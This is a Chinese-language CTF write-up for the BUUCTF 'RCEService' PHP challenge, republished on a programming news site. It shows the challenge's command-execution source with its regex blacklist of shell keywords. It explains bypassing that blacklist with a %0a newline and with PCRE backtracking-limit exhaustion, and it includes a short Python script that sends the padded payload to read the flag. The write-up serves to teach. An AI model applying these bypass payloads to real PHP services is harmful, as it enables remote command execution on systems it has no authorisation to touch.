返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHP试题之RCEService正则回溯解答
  • 246
分享到

PHP试题之RCEService正则回溯解答

2024-04-02 19:04:59 246人浏览 泡泡鱼
摘要

打开题目输入JSON类型的cmd后,尝试读取index.PHP的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,

打开题目输入JSON类型的cmd后,尝试读取index.PHP的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|loGout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

import requests
url='Http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

以上就是PHP试题之RCEService正则回溯解答的详细内容,更多关于PHP试题RCEService正则回溯的资料请关注编程网其它相关文章!

--结束END--

本文标题: PHP试题之RCEService正则回溯解答

本文链接: https://lsjlt.com/news/145635.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • PHP试题之RCEService正则回溯解答
    打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,...
    99+
    2024-04-02
  • PHP中RCEService正则回溯怎么实现
    今天小编给大家分享一下PHP中RCEService正则回溯怎么实现的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。打开题目输入...
    99+
    2023-06-30
  • php正则回溯绕过最大次数上限案例详解
    目录什么是正则回溯为什么可以利用正则回溯进行绕过php正则回溯绕过案例一php正则回溯绕过案例二什么是正则回溯 从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有&...
    99+
    2024-04-02
  • PCRE回溯次数绕过安全限制的正则解析
    目录正则表达式是什么回溯的过程是怎样的PCRE另一种错误的用法修复方法这次Code-Breaking Puzzles中我出了一道看似很简单的题目,将其代码简化如下: <php ...
    99+
    2024-04-02
  • PHP正则替换常见问题解答:避免替换错误操作
    替换操作是在PHP编程中经常用到的功能之一,而正则替换则是更加灵活和强大的替换方式。然而,正则替换可能会遇到一些常见问题,例如替换错误操作导致意外结果。在使用PHP的正则替换功能时,避...
    99+
    2024-02-29
    php 替换 正则
  • PHP怎么用回溯算法求解子集问题
    本篇内容介绍了“PHP怎么用回溯算法求解子集问题”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!回溯算法实际上一个类似枚举的搜索尝试过程,主要...
    99+
    2023-06-20
  • PHP文件Shell面试:如何回答最常见的问题?
    在PHP文件Shell面试中,面试官会问许多问题,这些问题可能会涉及到你的PHP基础知识、Shell编程技能、Linux操作系统知识等方面。在本篇文章中,我们将着重介绍如何回答最常见的问题。 如何在Shell中执行PHP文件? 在Sh...
    99+
    2023-05-30
    文件 shell 面试
  • JavaScript RegExp 方法的常见问题解答:解决常见的正则表达式难题
    1. 为什么我的正则表达式匹配不到任何内容? 这可能是由于语法错误或特殊字符没有正确转义。使用 RegExp.test() 方法检查正则表达式是否有效,并确保转义所有特殊字符,如*、+ 和 ()。 const pattern = /fo...
    99+
    2024-03-09
    JavaScript, 正则表达式, RegExp, 匹配, 替换, 验证
  • PHP Shell和Apache:如何在面试中回答最常见的问题?
    在面试中,PHP Shell和Apache是两个常见的话题。这两个技术在PHP开发中扮演着重要的角色。在这篇文章中,我们将介绍如何回答面试官最常见的关于PHP Shell和Apache的问题。 PHP Shell 是一个命令行工具,它允许您...
    99+
    2023-11-04
    shell 面试 apache
  • 20+值得了解的PHP面试题(附答案分析)
    本篇文章给大家分享20多个PHP面试题,查漏补缺,带你巩固一波地基,看看你能答对几个?希望对大家有所帮助。Q1: == 和 === 之间有什么区别?话题: PHP困难: ⭐如果是两个不同的类型,运算符==则在两个不同的类型之间进行强制转换=...
    99+
    2022-06-14
    php
  • 20道必备!PHP面试题及详细答案解析
    当今互联网时代,PHP已经成为一种广泛使用的服务器端脚本语言。如果您正在准备PHP的面试,那么您需要了解一些常见的PHP面试题。在本篇博客中,我们将提供20道常见的PHP面试题及其答案。 什么是PHP? 答:PHP是一种广泛使用的服务器端脚...
    99+
    2023-09-01
    php 开发语言 数据库
  • 如何解决php正则替换乱码的问题
    今天小编给大家分享一下如何解决php正则替换乱码的问题的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。一、什么是PHP正则表达...
    99+
    2023-07-06
  • PHP面试的时候,如何回答自然语言处理相关问题?
    在PHP面试中,自然语言处理(Natural Language Processing,NLP)是一个热门话题。作为一名PHP工程师,你可能会被问及如何处理文本数据、如何实现自然语言处理等问题。本文将为你提供一些关于如何回答自然语言处理相关问...
    99+
    2023-08-28
    面试 自然语言处理 函数
  • PHP 中最常见的数组函数面试题及解答!
    在 PHP 开发中,数组是一个非常重要的数据类型。数组函数是 PHP 中最常用的函数之一。在 PHP 面试中,经常会涉及到与数组相关的问题。下面我们来看一下 PHP 中最常见的数组函数面试题及解答。 array_push() 和 arr...
    99+
    2023-06-18
    数组 面试 函数
  • 如何在 HTTP 面试中准确地回答与 PHP 索引相关的问题?
    HTTP 面试中的 PHP 索引问题可能是许多 PHP 开发人员面试过程中会遇到的问题。在这篇文章中,我们将讨论如何准确地回答与 PHP 索引相关的问题。 在 PHP 中,索引是一个非常重要的概念。 PHP 支持多种类型的索引,包括数字索引...
    99+
    2023-10-03
    索引 http 面试
  • 面试宝典:PHP 日志相关知识点详解和答题技巧!
    PHP 日志相关知识点详解和答题技巧 在 PHP 开发中,日志记录是很重要的一部分,它可以帮助开发者快速定位问题和分析系统运行情况。在面试中,PHP 日志相关问题也是非常常见的,下面我们来详细了解一下 PHP 日志相关知识点和答题技巧。 一...
    99+
    2023-08-04
    日志 学习笔记 面试
  • ChatGPT PHP技术解析:构建智能聊天机器人的问题回答能力
    ChatGPT是OpenAI推出的一款强大的自然语言处理模型,可以实现智能对话,并具备强大的问题回答能力。在本文中,我们将重点介绍如何使用PHP语言结合ChatGPT构建智能聊天机器人,并给出具体的代码示例。首先,我们需要在OpenAI申请...
    99+
    2023-10-24
    聊天机器人 PHP 问题回答能力
  • 你真的了解PHP函数吗?这份面试指南告诉你如何答题。
    PHP是一种流行的编程语言,它是许多网站和应用程序的基础。PHP函数是这种语言的核心组成部分,它们为开发人员提供了一种可重用的代码块,可以在应用程序中使用。在PHP面试中,函数是一个重要的话题,因此,如果您想要通过PHP面试,那么您需要了解...
    99+
    2023-08-28
    面试 自然语言处理 函数
  • PHP开发技术面试:你是否知道如何回答关键字相关的挑战性问题?
    PHP是一种广泛应用于Web开发领域的编程语言,因其简单易学、开发效率高等特点,成为了许多Web开发者的首选。在PHP开发领域,面试是一个非常重要的环节,也是考验开发者水平的关键时刻。本文将围绕PHP开发技术面试中常见的关键字相关挑战性问...
    99+
    2023-07-10
    关键字 开发技术 面试
  • 如何解决js相同正则多次调用test()返回的值却不同的问题
    这篇文章主要为大家展示了“如何解决js相同正则多次调用test()返回的值却不同的问题”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“如何解决js相同正则多次调用...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作